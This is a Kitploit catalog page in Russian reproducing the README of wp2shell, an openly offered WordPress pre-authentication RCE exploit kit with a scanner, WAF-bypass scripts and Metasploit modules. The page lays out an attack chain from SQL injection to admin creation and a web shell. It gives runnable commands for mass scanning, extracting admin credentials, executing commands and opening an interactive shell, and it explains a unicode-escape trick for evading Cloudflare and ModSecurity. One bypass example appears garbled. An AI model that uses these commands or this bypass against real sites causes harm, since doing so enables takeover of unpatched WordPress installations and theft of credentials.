Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
wp2shell-Exploit-Waf-Bypass — WordPress Pre-Auth RCE Exploit + Scanner + WAF Bypass | CVE-2026-63030 + CVE-2026-60137 | Go + Python + Metasploit modules + Docker lab WordPress Pre-Auth RCE Эксплойт + Сканер + Обход WAF | CVE-2026-63030 + CVE-2026-60137 | Go + Python + модули Metasploit + Docker-лаборатория | Kitploit
Инструменты/GitHubGitHub/m4xsec/wp2shell-exploit-waf-bypass
Сканеры веб-уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование безопасности APIОбход WAFТестирование на ПроникновениеRed Teaming
GitHub
m4xsec/wp2shell-exploit-waf-bypass

wp2shell-Exploit-Waf-Bypass

WordPress Pre-Auth RCE Exploit + Scanner + WAF Bypass | CVE-2026-63030 + CVE-2026-60137 | Go + Python + Metasploit modules + Docker lab WordPress Pre-Auth RCE Эксплойт + Сканер + Обход WAF | CVE-2026-63030 + CVE-2026-60137 | Go + Python + модули Metasploit + Docker-лаборатория

Репозиторий
2452 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
                ___      __         __
 _      _____  |__ \ ___/ /_  ___  / / /
| | /| / / _ \ __/ // __/ __ \/ _ \/ / / 
| |/ |/ /  __// __//_  / / / /  __/ / /  
|__/|__/\___//____//__/_/ /_/\___/_/_/   
                                         
  WordPress Pre-Auth RCE — CVE-2026-63030 + CVE-2026-60137
  by Venexy (M4xSec)

GitHub Release License: MIT Go Metasploit

Удалённое выполнение кода без аутентификации на WordPress 6.8.0–6.8.5, 6.9.0–6.9.4, 7.0.0–7.0.1. Исправлено в версиях 6.8.6, 6.9.5, 7.0.2.

Быстрая установка

# Pre-compiled binary (fastest)
curl -sL https://github.com/M4xSec/wp2shell-Exploit-Waf-Bypass/releases/download/v1.0.0/wp2shell-linux-amd64 -o wp2shell && chmod +x wp2shell

# Or build from source
go build -o wp2shell go-scanner/wp2shell-master.go

Цепочка атаки

  1. Путаница маршрутов через вложенные batch-запросы с некорректным primer-путём обходит аутентификацию
  2. Слепая SQL-инъекция на основе времени извлекает префикс таблиц, ID администратора и учётные данные
  3. Подделка строк на основе UNION заполняет oEmbed-кэши (read-only SQLi → запись в БД)
  4. Повышение привилегий changeset + реентерабельный parse_request() создаёт администратора
  5. Загрузка плагина разворачивает самоочищающийся веб-шелл
  6. Выполнение команд и автоматическая очистка

Инструменты

Go-сканер (go-scanner/wp2shell-master.go)

Универсальный бинарный файл — сканирование, проверка, чтение, эксплуатация, интерактивная оболочка.

go build -o wp2shell-master go-scanner/wp2shell-master.go

# Mass scan
./wp2shell-master scan -f targets.txt -j -t 20

# Confirm SQLi
./wp2shell-master check https://target.com --waf --delay 3.0

# Extract admin creds
./wp2shell-master read https://target.com --preset users

# Pre-auth RCE (no password needed)
./wp2shell-master rce https://target.com --cmd id -y --waf --stealth

# Interactive shell
./wp2shell-master rce https://target.com -i -y

Инструменты обхода WAF (waf-bypass/)

Автономные скрипты для обхода Cloudflare/ModSecurity с помощью JSON-экранирования юникодом ключевых слов SQL.

  • core.py — Общий движок слепой SQL-инъекции с обходом WAF
  • dump_version.py — Извлечение @@version
  • dump_dbname.py — Извлечение DATABASE()
  • dump_tables.py — Перечисление таблиц
  • dump_columns.py — Перечисление столбцов
  • rce_shell.py — Полная цепочка RCE с обходом WAF

Модули Metasploit (metasploit-modules/)

  • wp2shell_rce.rb — Полный эксплойт-модуль RCE (PR #21760)
  • wp2shell_scanner.rb — Неразрушающий сканер (PR #21761)

Установка локально:

mkdir -p ~/.msf4/modules/exploits/multi/http
mkdir -p ~/.msf4/modules/auxiliary/scanner/http
cp metasploit-modules/wp2shell_rce.rb ~/.msf4/modules/exploits/multi/http/wp_wordpress_batch_rce.rb
cp metasploit-modules/wp2shell_scanner.rb ~/.msf4/modules/auxiliary/scanner/http/wp_wordpress_batch_sqli.rb

Техника обхода WAF

Cloudflare WAF проверяет необработанные байты JSON, но не декодирует escape-последовательности \uXXXX перед сопоставлением с шаблонами. PHP json_decode() в WordPress прозрачно декодирует их.

  • SLEEP → SLEEP — обходит обнаружение по ключевым словам
  • Primer с двоеточием (: вместо http://:) — короче, позволяет избежать правил для URI-шаблонов
  • Путь permalink /wp-json/batch/v1 — позволяет избежать блокировки ?rest_route=
  • Заголовки Origin + Referer с целевого домена — удовлетворяют проверкам CORS/same-origin

Docker-лаборатория

Лаборатория без WAF (порт 8888)

cd lab
docker compose up -d --build
# WordPress 6.9.0 at http://localhost:8888
# Admin: admin / Summer2026!

Лаборатория с WAF (порт 9999)

ModSecurity CRS (OWASP) с правилами в стиле Cloudflare — обход через Unicode подтверждён.

cd lab/waf
docker compose up -d --build
# WordPress behind WAF at http://localhost:9999

Отказ от ответственности

Этот инструмент предназначен только для авторизованного тестирования безопасности. Используйте его только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Несанкционированный доступ противозаконен.

Лицензия

MIT

Скачать инструмент